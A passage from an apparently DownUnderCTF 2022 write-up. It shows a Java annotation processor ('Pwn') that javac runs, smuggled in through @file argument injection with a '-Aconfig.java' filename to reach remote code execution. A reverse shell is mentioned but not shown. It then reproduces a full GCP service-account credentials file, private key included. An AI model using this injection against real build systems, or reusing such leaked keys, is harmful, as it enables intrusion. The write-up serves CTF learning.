@SupportedSourceVersion(SourceVersion.RELEASE_11)
public class Pwn extends AbstractProcessor {
@Override
public synchronized void init(ProcessingEnvironment env) {
System.out.println("pwned");
System.exit(0);
}
@Override
public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment roundEnv) {
System.out.println(roundEnv.processingOver());
System.out.println(roundEnv.getRootElements());
System.out.println(annotations);
return false;
}
}
After compiling with javac Pwn.java
, running javac Hello.java -processor Pwn
shows a Pwned
message, indicating it executed.
Next, find a way to use arguments injection to execute this parameter. Simply using -processorPwn
or -processor:Pwn
doesn't work, but -help
shows that javac
can accept an @filename
parameter to read additional parameters or file lists from filename
.
So, I created an empty @config.java
and another config.java
with -processor Pwn
. Running javac Hello.java @config.java
shows the Pwned
message. However, there's another problem: list_files
includes config.java
, resulting in javac Hello.java config.java @config.java
, causing a compile error due to syntax error.
There are two solutions: create a polyglot for Java and javac
config files, but I failed after trying several methods. So, I tried the second method: arguments injection. The -help
shows a -A
parameter that accepts anything without error. Combining this with the previous method:
Create an empty @-Aconfig.java
and -Aconfig.java
with -processor Pwn
. Running javac Hello.java -Aconfig.java @-Aconfig.java
works because -A
prevents it from being treated as a file to compile, and @-Aconfig.java
still reads the processor
parameter, showing the Pwned
message.
So, tar these files, upload them, and manually specify java-underdevelopment
to achieve RCE. Write a reverse shell in Pwn.java
. After receiving the shell, run getfinalflag
to see the final flag: DUCTF{d15_1s_s0m3_gTf0B1N5_m4T3r1aL!1!}
.
Additionally, the author's writeup has a different solution for the third part, which is also worth checking out.
misc
Jimmy Builds a Kite
The challenge provides https://jimmys-big-adventure.storage.googleapis.com/index.html
. Accessing /
shows a file list, including flag.txt
, which is inaccessible, and another interesting file credentials.json
:
{
"type": "service_account",
"project_id": "downunderctf-2022-chal-mjb",
"private_key_id": "9bc78a902cdbd50a4b82b6c0e352ea19e93b95ac",
"private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDQXTgINV9XygkE\nUeVDX1LsU55VLbSrQRXVoPAwU4GNt+yuuj2wq2Zj5bAj5aCn8lahKXWlsPCsi7dF\nEpc2FmPzq41hxb1oBZUZEHjVik5NB+Vly1HbfSIt+qdIe98q3eRzfZXAItPTtfZM\n2Tn86aYpZ1dUTCo+jnvoAsEW5yEcmbZFkjB2lUZBVViwYsDiGe7JXgjQKrzanwZ3\n6GEz0hAQ5dy3TF1ZWaU+OJtI3OfA1K7GZzhHkSYkgEXCs3sWBuBRKtokh63R4iUd\npytvfBIwV6UOGiRZllZHl2+NSPYIjZ+fRLKPfvaWLKA2aqhe6NQCmOtnUT2lEFI9\n24vFGd47AgMBAAECggEAUOpqiJGFgZelccaF9Ghv0PPWEHkL6NeBLbFupS3AqXLs\nGJyduV6OiCvZ/868WYw8RSDPHbW9eRxW4x2JmEkQrr+Hy5jZaayFTrL9YdvwdWyk\nEqhnFQgevmFRFk54h3KdNZZnEbLUtSo8SHKxWLy5uOl3WfasDxgRGTP8nTLLwolh\nIhUPzI6gaSH2aWj32aENpXFUp520LU8bpAEfdls5IUbEt73QABT8stl4U71526d8\nQS8XsRXJq14g5NZCxlWX1t+i75Uv94ERKYMUQ4Zea2qc8scB3KVOcUfxYgBkDlOc\nKx601/aPbbOxo/SuHy5e0Shd9igiKB8AlnD4pDg2aQKBgQD2jcSPhFHYy0lGudea\nd+ZIwWzl13UnSk9t6wthjM+rxaPIhxGMnyOY31Hm4435AQKkL8fHTvbX4QWMhrsc\nMMhRwha1BPtpqp4vKxCWtDO8NRlMXubbn2FYECszlMNkcIE6IVfJxL3cOdjIwYc4\nsheKBxboOT/1syV9FOz0U7BtYwKBgQDYWOHIVxfMUUYO8RKjgR8e9Q6P/mTYRKQj\n32w6/TX8/FVOY1+EavVblHUPKeiNwvhudHMk0xvnrtfo/6BSA6nPvWjU23gXyZFl\ncq3HWJrfmOOK4OvPcAHLC/rw5d6+cZUGPkzUck3BZLr4cA1OEfktTLcbNcWD8/AB\nerGigCyvSQKBgEz12bpWulmqsvfRwNwluwtQ3VYtWBNonbyY1tefZZ+ftM0+ZBr5\n/dmVM/KXa1SjnRh1Fa5AFssyIVJJKBTXoV/r7ryYjoXgTTo5/hacr117UadGJFe/\nu1oKygFy2T7740qq58VClWUt5V5dEoF/Ddv29I6OeEmQnw4ZPxHRIcwzAoGASTTK\nMaBGzTwzGJs6U1k9zpvdcZwDQ6r2X60aUlucCR7ZPs0hZQ1MONDjS15C8rUmmzmM\nPMmyh5MCPDVDan0S2NiewGgDGwl5yXokk2/H+CEj3bp+EJM2CB7lqt4doRON+a7b\nEIgdB3OuUKKZ3fD2//0VeH+Zdiz06Ys60GHOvQECgYEA13F9MZgDiKK3MgZ4fhaH\nhAkayvz+i0c0yEsmdWk4Ltd/VstmL8FqNwUvVtkpV7Oz3pPW6FkJJAwMVvNl2eMD\nucYx7g3sdqRhWmdn4mKowq2fc4wM3x5drcjiAxL+RcBVR6H9wA9bQuebRJCpIEkG\nGG0RU2gTUaZao3xrrfXLUDE=\n-----END PRIVATE KEY-----\n",
"client_email": "buildkite-agent@downunderctf-2022-chal-mjb.iam.gserviceaccount.com",
"client_id": "111935028215153567724",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/buildkite-agent%40downunderctf-2022-chal-mjb.iam.gserviceaccount.com"
}
It looks very suspicious. Googling reveals that you can import it using `gcloud